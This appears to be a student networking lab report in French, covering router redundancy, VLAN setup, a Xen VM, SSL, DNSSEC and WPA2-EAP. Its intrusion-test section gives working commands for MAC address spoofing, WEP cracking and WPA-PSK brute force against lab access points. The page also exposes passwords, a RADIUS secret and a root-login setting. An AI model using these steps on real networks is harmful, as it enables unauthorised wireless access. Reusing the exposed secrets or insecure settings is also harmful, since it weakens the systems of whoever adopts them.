TP sysres IMA2a5 2015/2016 G6

De Wiki de Projets IMA

Projet Systèmes&Réseaux IMA2A5


Cet atelier consiste en la réalisation d'une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. Il se décompose en deux parties : tout d'abord une partie à réaliser seul puis d'une réalisation commune. Cette dernière comprend l'installation d'une machine virtuelle Xen, l'implantation d'un auto-commutateur téléphonique logiciel ainsi que la mise en place d'un réseau Wifi et d'un site sécurisés.

Pour ma part, dans un premier temps je m'occuperais de la configuration d'un des deux routeurs permettant la redondance.

Architecture réseau


Dans ma partie, il me fallait donc réaliser la configuration du routeur n°1 dans le but de créer une redondance. Cette dernière permettra donc dans le cas ou l'un des routeurs d'une des deux salles de TP tombe, les ordinateurs du routeur HS continueront d'avoir accès à internet.

La configuration du routeur consistait à affecter à chacun des réseaux une adresse IP. Voici le tableau reprenant le descriptif des VLAN's.

N° du VLANNomAdresse IPAdresse Routeur 1Adresse Passerelle
1default172.20.99.0/24172.20.99.252172.20.99.254
2Puduc172.20.100.0/24172.20.100.252172.20.100.254
3Nounours172.20.101.0/24172.20.101.252172.20.101.254
4Jeuno172.20.102.0/24172.20.102.252172.20.102.254
5Relax172.20.103.0/24172.20.103.252172.20.103.254
6John172.20.104.0/24172.20.104.252172.20.104.254
7Loki172.20.105.0/24172.20.105.252172.20.105.254
8Papy172.20.106.0/24172.20.106.252172.20.106.254
10Hub193.48.57.176/28193.48.57.188193.48.57.190
131Interco192.168.222.8/29192.168.222.9X

Afin de créer la redondance on utilise l'adresse passerelle, cette dernière sera "prise" par le routeur le plus prioritaire.

Code sous minicom pour réaliser l'adressage des VLan's: 

- en // passage en mode administrateur
- conf t 
- int vlan2 //modification du vlan2
- ip address 172.20.100.252 255.255.255.0 // association du l'adresse IP et du mask au vlan2
- standby 1 ip 172.20.100.254 // adresse de passerelle
- standby 1 preempt  //Utilisation du protocole HSRP nécessaire à la redondance
- standby 1 priority 110 // priorité pour la prise de l'adresse passerelle
Code pour affecter un nom à un VLAN: 

- conf t 
- vlan8
- name Papy
Code pour affecter un port (içi pour internet)

- conf t 
- interface GigabitEthernet 0/47 // on agit sur ce port
- Sitchport mode access
- switchport access vlan131 // Définition de l'association entre le port et le vlan pour internet
- no shut
Code pour l'échange automatique des tables de routages :

-Switch(config)#router ospf 1
-Switch(config-router)#log-adjacency-changes
-Switch(config-router)#router-id 172.20.100.252
-Switch(config-router)#log-adjacency-changes   
-Switch(config-router)#summary-address 172.20.96.0 255.255.240.0
-Switch(config-router)#summary-address 193.48.57.176 255.255.255.240
-Switch(config-router)#redistribute connected metric 20 subnets 
-Switch(config-router)#network 192.168.222.8 0.0.0.7 area 2

Pour que le routeur de l'école connaîsse toutes ces adresses et vis-versa, on effectue un échange de table de routage par le protocole de routage OSPF. Letric à 20 permettra au routeur de l'école de prendre en priorité ma table de routage à celle de Clément qui lui est à 30. Dès lors que mon routeur ne sera plus en état de foncctionner, le routeur de l'école prendra directement celle de Clément.


Tests d'intrusion


Intrusion par changement d'adresse MAC

Lorsque j'ai récupéré mon EEPC, Marouanne me l'avait configuré pour que je puisse me connecter avec ce dernier sur internet. En modifiant le fichier /etc/network/interfaces, je remplace T1 par T2 et le mot de passe 0000000000 en 1111111111. De cette façon je pourrais aller sur internet en passant pas la wifi de Maxime.

RESULTAT : Impossible de me connecter au réseau. En effet mon adresse MAC n'est pas connue de Maxime donc je suis rejeté.

SOLUTION : Usurper l'identité de quelqu'un autorisé. J'ai donc pris par a force l'adresse de Gauthier 00:15:AF:E6:ED:B1

Avec une simple ligne de code : je change mon adresse MAC !
- ifconfig wlan0 down
- ifconfig wlan0 hw ether 00:15:AF:E6:ED:B1  //adresse mac de Gauthier
- ifconfig wlan0 up

MAGNIFIQUE je peux maintenant aller sur internet via la borne wifi de Maxime.


Cassage de clef WEP d'un point d'accès Wifi

A partir de là Linux est installé sur la machine. Je vais donc passer maintenant au crackage de la clé WEP.

Pour cela j'installe aircrack.

Code : 
apt-get install aircrack-ng
Modification du fichier /etc/apt/sources.list : 
rajout de contrib non-free

Modification du fichier /etc/network/interfaces : 
auto eth0
iface eth0 inet static 
     address 172.20.106.6
     netmask 255.255.255.0
     gateway 172.20.106.254

Modification du fichier /etc/resolv.conf : 
nameserver 193.48.57.34
Code : 
apt-get install firmware-linux-nonfree
apt-get remove network-manager
apt-get install broadcom-sta-dkms
modprobe wl
modprobe -r b44 b43 b43legacy ssb brcmsmac
modprobe -r wl
modprobe wl*dmseg
dmseg
ifconfig -a 
reboot

A partir de là je tape la commande airmon-ng et j'obtiens enfin wlan0, Broadcom et wl - [phy0]


code :
airmon -ng start wlan1 ==> cela ne fonctionne pas grâce a dmseg on voit que c'est à cause de fail to load rt2870.bin
solution : apt-get install firmware-ralink

Je stop les deux mon0 et mon1 que j'avais créé : via la commande airmon-ng stop mon1 et mon0

Je ré-ouvre une mon0.

J'utilise la commande airodump-ng mon0 afin voir tous les SSID qui passent en WIFI.

Ma cible étant les cracottes je filtre pour n'avoir qu'elles en selectionnant le channel 5 car elles y sont tous dessus.

Code : airodump-ng mon0 --channel 5. Je ne voit que les cracottes. Je prends la cracotte qui me concerne, c'est à dire la 8. (même numéro de vlan que moi)

code : airodump-ng mon0 --channel 5 --BSSID 04:da:d2:9c:50:57 ainsi je ne vois que la cracotte que je veux.

Maintenant pour copier les données dans un fichier il me suffit de rajouter l'option --w nomDeFichier

Grâce à la commande aircrack-ng -s *.cap : la clé WEP de la cracotte08 a été cracké : celle-ci est : aa:aa:aa:aa:aa:aa:aa:aa:aa:bb:bb:bb:bb !


Cassage de mot de passe WPA-PSK par force brute

On va commencer par créer un dictionnaire de clé :

#include <stdio.h>

int main (void)
{
    int i=0;
    while(i<100000000)
    {
        printf("%08d\n",i);
        i++;
    }
    return 0;
}

Il faut ensuite récupérer le handshake :

airodump-ng mon0 --channel 7 --bssid 04:da:d2:9c:50:57 -w handshake

J'envoie le fichier handshake-01.cap sur la zabeth car le PC est beaucoup plus rapide pour réaliser le traitement et trouver la clé.

df
fdisk -l
mkfs /dev/sda1
mount /dev/sda1 /mnt
cp handshake-01.cap /mnt
umount /mnt

Une fois que le fichier est sur pifou, je lance le traitement :

aircrack-ng -w dico.txt handshake-01.cap

Après 58 minutes et 48 secondes la clé est trouvée : 12399908 !


Installation des systèmes d'exploitation


J'ai créé une machine virtuelle en me connectant sur root@cordouan.insecserv.deule.net

Code :
xen-create-image --hostname Werewolf --ip 193.48.57.183 --netmask 255.255.255.240 --dir /usr/local/xen

nano /etc/ssh/sshd_config allow root login (without password)->yes
apt -get purge network-manager systemd
init tab ==> 1:??45: ..... tty1 à remplacer par 1:??45: ..... hvc0
Hostname        :  Werewolf
Distribution    :  jessie
MAC Address     :  00:16:3E:25:96:A7
IP Address(es)  :  193.48.57.18
RSA Fingerprint :  4d:ea:00:cc:51:7f:85:92:ec:2d:c3:4e:f4:81:b1:3e
Root Password   :  Il ne serait plus secret sinon ;)

A RETENIR :

Pour ouvrir la machine : Connexion sur Weppes puis ssh root@193.57.48.183
Pour la fermer : halt
Pour rallumer la machiner si éteinte : xl create /etc/xen/Werewolf.cfg

Je commence par installer sur la machine virtuellepostfix et bsd-mailx :

apt-get install postfix
vim /etc/aliases ==> rajout d'une ligne admin:   root
newaliases
apt-get install mailx

Maintenant lorsque j'envoie un mail à partir de n'importe quelle adresse mail vers admin@hunt3r.lol, je le reçois et via la commande mailx je peux voir que j'ai reçu un mail.

En utilisant "p" je peux l'afficher.



Services Internet


Le nom de domaine que j'ai réservé est : hunt3r.lol

Sécurisation de site web par certificat

Maintenant je vais réclamer mon certificat :

Je vais sur le site de gandi
Je clique sur Certificat SSL qui est actuellement inactif
Je vais dans la FAQ et je cherche comment générer une CSR ? 
Je récupère la commande : openssl req -nodes -newkey rsa:2048 -sha256 -keyout Werewolf.key -out Werewolf.csr que j'utilise dans ma VM
Country Name (2 letter code) [AU]: FR
State or Province Name (full name) [Some-State]: Nord
Locality Name (eg, city) []: Lille
Organization Name (eg, company) [Internet Widgits Pty Ltd]: PolytechLille
Organizational Unit Namec SSLCertificateChainFile.  (eg, section) []: 
Common Name (eg, YOUR name) []: hunt3r.lol
Email Address []: admin@hunt3r.lol
A challenge password []: 
An optional company name []:
Il me génère donc deux fichiers, le .csr et le .key
J'ouvre le fichier Werewolf.csr que je copie colle dans le champ CSR sur gandi.

Je valide le tout et à présent sur le site de gandi j'ai : Certificat SSL : hunt3r.lol (et non plus inactif)
Je valide ma demande grâce au code reçu dans ma boite mail hunt3r et j'attends le certificat.
Une fois reçu je crée un fichier Werewolf.cer et je colle le certificat que j'ai récupéré.
Même chose pour les certificats intermédiaire.

Je peux commencer alors la configuration d'apache2 avec mon certificat :

cd /etc/apache2/sites-available
vim default-ssl.conf
                SSLCertificateFile      /root/Werewolf.cer
                SSLCertificateKeyFile /root/Werewolf.key
                #SSLCertificateChainFile /root/WerewolfInter.cer

3 commandes me permettent de mettre en route le tout :
a2ensite default-ssl
a2enmod ssl
service apache2 restart

Une fois cela fait, lorsque je vais sur ma page internet je remarque je peux y aller à la fois normalement c'est à dire en écrivant : http://www.hunt3r.lol/ mais aussi en utilisant la connexion sécurisée : https://www.hunt3r.lol/. On remarque qu'avec l'https on a bien un cadenas.


Sécurisation de serveur DNS par DNSSEC

cd /etc/bind
vim named.conf.options ==> rajout de l'option dnssec-enable yes;
mkdir hunt3r.dnssec
cd hunt3r.dnssec
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE -r /dev/urandom hunt3r.dnssec
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE -r /dev/urandom hunt3r.dnssec
Je renomme les fichiers créé en : 
    *hunt3r-ksk.key
    *hunt3r-ksk.private
    *hunt3r-zsk.key
    *hunt3r-zsk.private
J'inclus dans le fichier db.hunt3r : 
    *$include /etc/bind/hunt3r.dnssec/hunt3r-ksk.key
    *$include /etc/bind/hunt3r.dnssec/hunt3r-zsk.key
dnssec-signzone -o hunt3r.lol -k hunt3r-ksk ../db.hunter hunt3r-zsk
Modification du fichier named.conf.local  ==> db.hunt3r.signed
service bind9 restart
Copie de la clé KSK sur le site de gandi dans l'onglet gérer DNSSEC


Réalisation


Installation de LINUX sur les nouveaux PC HP

J'ai allumé le nouveau PC et j'ai configuré son nom avec le thème Poisson : perche. [1]

Ensuite je redémarre le PC avec le mode boot (F9) puis je fais F10. Je vais dans System Configurations. Je change la langue en français puis je vais dans option d'amorçage et je désactive le démarrage sécurisé. Il faut quitter et sauvegarder. Entrer le code 8370 + entrer. Redémarrer et faire F9, puis reboot sur la clé usb sur laquelle on a monté l'image de Debian GNU/Linux 8.2.0 à l'aide de cette commande :

Code :
root@zabeth09:/tmp# dd if=debian-8.2.0-amd64-netinst.iso of=/dev/sdb
On va donc configurer le réseau nous-même.
Adresse IP : 172.20.106.6
Mask : 255.255.255.0
Adresse passerelle : 172.20.106.254
Adresse des serveurs de noms : 193.48.57.34
Nom de machine : perche
Domaine : deule.net

Mot de passe pour superutilisateur : celui de d'habitude pour un root
Nouvel utilisateur : pifou
Mot de passe nouvel utilisateur : celui de d'habitude pour pifou

Arrivée au partitionnement :

J'ai cliqué sur manuel puis sur le n°3 qui avait 22 Gb. J'ai partitionné à 8Gb de façon à avoir 8Gb pour Windows ( on s'en fou de lui) et 14.6Gb pour nous. J'ai ensuite cliqué partitionnement assisté et utiliser le plus grand espace disponible. 
Nom du miroir de l'archive Debian : debian.polytech-lille.fr
Mandataire HTTP : http://proxy.polytech-lille.fr:3128
Logiciels à installer : Xfce, service SSH  et utilitaies usuels du système (à valider à l'aider de la barre espace)

Sécurisation Wifi par WPA2-EAP

Maintenant je vais m'attaquer à la protection de l'accès à la borne Wifi de façon à ce qu'il soit controlé par WPA2-EAP. Pour cela je me connecte à ma VM et je réalise la configuration:

apt-get install FreeRadius
cd /etc/bind/freeradius
Modification de 3 fichiers :
vim eap.conf
    default-eap-type = peap
vim client.conf
    client 172.20.99.0/24
    {
       secret = secret_Werewolf
       shortname = wifi
    }
vim users 
On enlève les commentaires au niveau de John Doe et de son mot de passe, de cette façon on aura un utilisateur.

telnet 172.20.99.5
aaa new-model
aaa authentication login eap_Werewolf group radius_Werewolf
radius-server host 193.48.57.8 auth-port 1812 acct-port 1813 key secret_Werewolf
aaa group server radius radius_Werewolf
server 193.48.57.8 auth-port 1812 acct-port 1813

dot11 ssid SSID_WEREWOLF
  vlan 8
  authentication open eap eap_Werewolf
  authentication network-eap eap_Werewolf
  authentication key-management wpa

encryption vlan 8 mode ciphers aes-ccm tkip

ssid SSID_WEREWOLF
int dot11Radio 0.8
en 
encapsulation dot1Q 8
bridge-group 8
exit       
int gig0.8
en
encapsulation dot1Q 8
bridge-group 8
exit

Pour avoir accès depuis mon PC :

vim etc/network/interfaces

    auto wlan0
    iface wlan0 inet static
    wpa-ssid SSID_WEREWOLF
    wpa-key-mgmt WPA-EAP
    wpa-identity NirkasHunt3r
    wpa-password Phil.ze.beat
    address 172.20.106.6
    netmask 255.255.255.0
    gateway 172.20.106.254

J'arrive à accéder à n'importe quelle adresse de mon réseau. Cependant je n'arrive pas à aller sur internet.

Cela est résolu grâce à cette commande :

wget http://193.48.57.34/dns

Nickel ! Tout fonctionne !